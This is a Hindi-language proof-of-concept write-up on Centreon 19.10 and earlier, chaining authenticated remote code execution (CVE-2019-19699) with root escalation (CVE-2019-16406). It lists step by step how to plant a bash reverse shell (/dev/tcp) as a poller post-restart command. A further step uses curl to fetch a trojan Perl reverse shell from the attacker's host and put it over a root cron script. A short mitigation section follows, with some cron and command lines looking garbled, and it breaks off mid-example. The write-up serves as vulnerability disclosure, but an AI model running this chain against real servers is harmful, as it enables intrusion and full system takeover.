
Centreon =<19.10 प्रमाणित RCE
प्रूफ ऑफ कॉन्सेप्ट
द्वारा खोजा गया:
SpengeSec (Guylian Dw)
TheCyberGeek (Matthew B)
प्रमाणित रिमोट कोड निष्पादन:
आइए Centreon वेब पैनल में व्यवस्थापक उपयोगकर्ता के रूप में लॉग इन करके शुरू करें।
लॉग इन करने के बाद हम Configuration > Commands > Miscellaneous पर नेविगेट करते हैं।
नीचे दिए गए चित्र में दिखाए अनुसार Add पर क्लिक करके आगे बढ़ें।
अब हम अपने Miscellaneous कमांड के रूप में एक bash रिवर्स शेल बनाते हैं।
#!/bin/bash
bash -i >& /dev/tcp/{IP}/{PORT} 0>&1
और Save पर क्लिक करें।
अब हम Configuration > Pollers पर नेविगेट करते हैं और अपने वर्तमान Central पोलर पर क्लिक करके आगे बढ़ते हैं।
यह आपको Modify a poller Configuration मेनू तक पहुंच प्रदान करता है।
यहां हम नीचे स्क्रॉल कर सकते हैं, और एक Post-restart command सेट कर सकते हैं।
पहले से बनाए गए reverse shell का चयन करके आगे बढ़ें, और Save बटन पर क्लिक करें।
अब हम अपनी स्थानीय मशीन पर Netcat लिसनर शुरू करके आगे बढ़ सकते हैं।
अंत में हम Configuration > Pollers मेनू में Export configuration बटन पर क्लिक करते हैं।
Pollers ड्रॉप डाउन बॉक्स में अपने Central पोलर का चयन करें।
Generate Configuration Files और Run monitoring engine debug (-v) चेक बॉक्स को अनटिक करें।
Restart Monitoring Engine और Post generation command चेक बॉक्स को टिक करें।
Method ड्रॉपडाउन बॉक्स में Restart चुनें।
Export पर क्लिक करने पर पोलर पुनरारंभ होगा, और इस प्रकार हमारे द्वारा पहले कॉन्फ़िगर किए गए Post-Restart Command को निष्पादित करेगा। यह वह क्षण है जब हमारा रिवर्स शेल लिसनर एक कनेक्शन प्राप्त करेगा।
प्रमाणित रिमोट कोड निष्पादन सफल रहा है!
(यह CVE-2019-19699 के लिए राइटअप था)
यहाँ से हम Root प्राप्त करने की ओर बढ़ते हैं।
हम TheCyberGeek द्वारा खोजे गए CVE-2019-16406 का उपयोग करके Centreon <= 19.10 सर्वर को पूरी तरह से समझौता करेंगे।
आइए अपने वर्तमान रिवर्स शेल टर्मिनल में एक TTY शेल उत्पन्न करके शुरू करें।
python -c 'import pty; pty.spawn("/bin/sh")'
अब हम cat /etc/cron.d/* करके देखते हैं कि कौन से क्रॉन कार्य मौजूद हैं।
अब हम देखते हैं कि centreon_autodisc.pl एक क्रॉन कार्य है।
(प्रदर्शन उद्देश्यों के लिए 30 22 * * * root से बदलकर * * * * * root किया गया था।)
यह Root के रूप में निष्पादित होता है, आइए centreon_autodisco.pl को एक Perl रिवर्स शेल से बदलें।
मैं जिस Perl शेल का उपयोग करूंगा, उसे यहाँ से डाउनलोड किया जा सकता है।
रिवर्स शेल डाउनलोड करें, और वेब पेज पर बताए अनुसार ip address और port को अपने अनुसार संपादित करें।
स्थानीय रूप से perl-reverse-shell.pl का नाम बदलकर centreon_autodisco.pl करने के लिए mv कमांड निष्पादित करें।
आगे बढ़ते हैं और अपनी पसंद के पोर्ट पर एक स्थानीय SimpleHTTPServer शुरू करते हैं।
इस तरह, हम मौजूदा centreon_autodisco.pl को अपने trojan Perl रिवर्स शेल से बदलने के लिए curl http://{local_ip}:{port}/centreon_autodisco.pl -o /usr/share/centreon/www/modules/centreon-autodiscovery-server//cron/centreon_autodisco.pl कर सकते हैं।
अब फ़ाइल बदल दी गई है, बस इतना करना बाकी है कि हम पहले कॉन्फ़िगर किए गए पोर्ट पर एक Netcat listener शुरू करें, और हमें सर्वर से Root उपयोगकर्ता के रूप में एक कनेक्शन वापस मिलेगा!
रूट सिस्टम एक्सेस सफल रहा है!
अब आगे बढ़ते हैं उन नोट्स पर जिनमें बताया गया है कि हम विशेषाधिकार वृद्धि को कैसे शमित किया जाना चाहिए!
19.10 में वर्तमान सेटिंग्स:
#####################################
# Centreon Auto Discovery
#
30 22 * * * root ls -la --config='/etc/centreon/conf.pm' --config-extra='/etc/centreon/centreon_autodisco.pm' --severity=error >> /var/log/centreon/centreon_auto_discovery.log 2>&1
* * * * * centreon /opt/rh/rh-php72/root/usr/bin/php /usr/share/centreon/www/modules/centreon-autodiscovery-server//cron/hostDiscovery/HostDiscovery.php >> /var/log/centreon/centreon_host_discovery.log 2>&1
File Permissions:
-rwxr-xr-x 1 apache apache 173 Oct 11 11:09 /usr/share/centreon/www/modules/centreon-autodiscovery-server//cron/centreon_autodisco.pl
-rw-r--r-- 1 apache apache 7880 Oct 11 11:09 /usr/share/centreon/www/modules/centreon-autodiscovery-server//cron/hostDiscovery/HostDiscovery.php
-rwsrwxr-x 1 root root 7240 Aug 11 2017 /usr/lib/centreon/plugins/cwrapper_perl
/usr/share/centreon/www/modules/centreon-autodiscovery-server//cron/hostDiscovery/HostDiscovery.php के लिए शमन
chown root:apache /usr/share/centreon/www/modules/centreon-autodiscovery-server//cron/hostDiscovery/HostDiscovery.php
chmod 755 /usr/share/centreon/www/modules/centreon-autodiscovery-server//cron/hostDiscovery/HostDiscovery.php
ls -la who
-rwxr-xr-x 1 root apache 7880 Oct 11 11:09 /usr/share/centreon/www/modules/centreon-autodiscovery-server//cron/hostDiscovery/HostDiscovery.php
जैसा कि आप देख सकते हैं, यह अब Root के स्वामित्व में है, समूह apache इसे केवल पढ़ और निष्पादित कर सकता है, centreon इसे केवल निष्पादित कर सकता है, इसलिए यह कार्यक्षमता को प्रभावित नहीं करता।
उदाहरण:
bash-4.2$ whoami
apache
bash-4.2$ echo "hello" > /usr/share/centreon/www/modules/centreon-autodiscovery-server//cron/hostDiscovery/HostDiscovery.php